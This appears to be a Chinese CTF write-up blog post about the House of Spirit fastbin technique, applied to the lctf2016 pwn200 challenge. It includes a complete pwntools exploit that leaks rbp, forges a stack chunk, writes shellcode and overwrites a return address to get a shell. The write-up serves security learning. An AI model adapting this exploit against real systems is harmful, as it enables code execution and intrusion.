Skip to main content

「PWN」House_of_Spirit

· 4 min read
Muel - Nova

看看House_of_spirit,这是一种依靠在栈上构造fake_chunk从而实现(almost) arbitrary write的技术。依赖fastbin

整体还是比较简单的,需要注意的就是需要16字节对齐,且需要构造next_fake_chunkchunk_size以绕过检查

image-20220719220643524

image-20220719220923354

实战

lctf2016_pwn200

checksec

保护啥也没开,想着就是直接ret2shellcode梭哈,但是没有那么多字节给我们栈溢出。

400A8E

第一个who are u?的函数存在Off-by-One的漏洞,可以泄露出400A8Erbp指向的内容(也就是父函数的rbp

def who_are_you(content: bytes) -> bytes:
sh.sendafter(b'who are u?\n', content)
sh.recv(0x30)
return sh.recv(6).ljust(8, b'\x00')

rbp = u64(who_are_you(b'a'*0x30))
print("> rbp:", hex(rbp))

RBP

函数read_input()返回了一个int,虽然400A8E没有使用,他也应该会存到栈上的某个位置,根据汇编得到其位于[rbp-0x38]的位置

[rbp-0x38]

400A29中,可以看出dest是指针,buf存在8字节的溢出,正好可以覆盖dest,而dest会存到ptr中,供之后的menu里的功能来freemalloc等。

400A29

到此,我们可以初步猜想,可以在buf这里构造一个fake_chunk,然后把堆指针指向buf,这样我们就有了一个在栈上的chunk。问题是在check_out函数中,想要free(ptr),我们必须依靠House_of_spirit伪造fake_next_chunk_size

根据计算,我们可以发现刚才的id正位于目前我们buf+0x68的位置,因此我们不妨造一个0x50大小的chunk,并把id设置成一个满足house_of_spirit的值。

fake_next_chunk_size

如此一来,当我们执行free(ptr)时,便会将这个栈上的地址存到fastbin中,此时我们重新malloc(0x60),并写入对应的payload更改返回地址,便可以拿到shell

通过观察,我们可以发现唯一可以控制的ret_addrptr+0x40的这个。返回地址可控了,丢到哪里呢?还记得我们一开始who_r_u的时候输入了0x30的数据么?我们完全可以把shellcode写到这里。只要计算一下偏移就可以了。

image-20220720002739429

完整EXP:

from pwn import *
context(os='linux', arch='amd64', log_level='DEBUG')

sh = process(['./pwn200'])


def who_are_you(content: bytes) -> bytes:
sh.sendafter(b'who are u?\n', content)
sh.recv(0x30)
return sh.recv(6).ljust(8, b'\x00')


def give_id(content: bytes):
sh.sendafter(b'give me your id ~~?', content)


def give_money(content: bytes):
sh.sendafter(b'give me money~', content)


def menu(index: int):
sh.recvuntil(b"your choice : ")
if index == 1:
sh.sendline(b"1")
elif index == 2:
sh.sendline(b"2")
sh.recvuntil(b"out~")
elif index == 3:
sh.sendline(b"3")
sh.recvuntil(b'good bye~')


def check_in(length_: bytes, content: bytes):
sh.sendlineafter(b'how long?', length_)
sh.sendlineafter(length_ + b'\n', content)
sh.recvuntil(b"in~")


def gdb_(time_: int = None, arg: str = None):
gdb.attach(sh, arg)
pause(time_)


rbp = u64(who_are_you(asm(shellcraft.sh()).ljust(0x30, b'\x00')))
# rbp = u64(who_are_you(b'a'*0x30))
print("> rbp:", hex(rbp))
give_id(b'2333') # next_fake_chunk_size
payload = p64(0) + p64(0x60) + b'\x00'*(0x40-0x10-0x08) + p64(rbp-0xb0)
give_money(payload)

menu(2)
ret_addr = rbp - 0x50
payload = b'\x00'*0x38 + p64(ret_addr) + b'\x00'*0x0F
menu(1)
check_in(b'80', payload)
menu(3)
sh.interactive()

2014_hack.lu_oreo

哈哈哥们出了个整不明白的bug(pwntools接不到Action),后面再说吧,乐

image-20220720204517147

Loading Comments...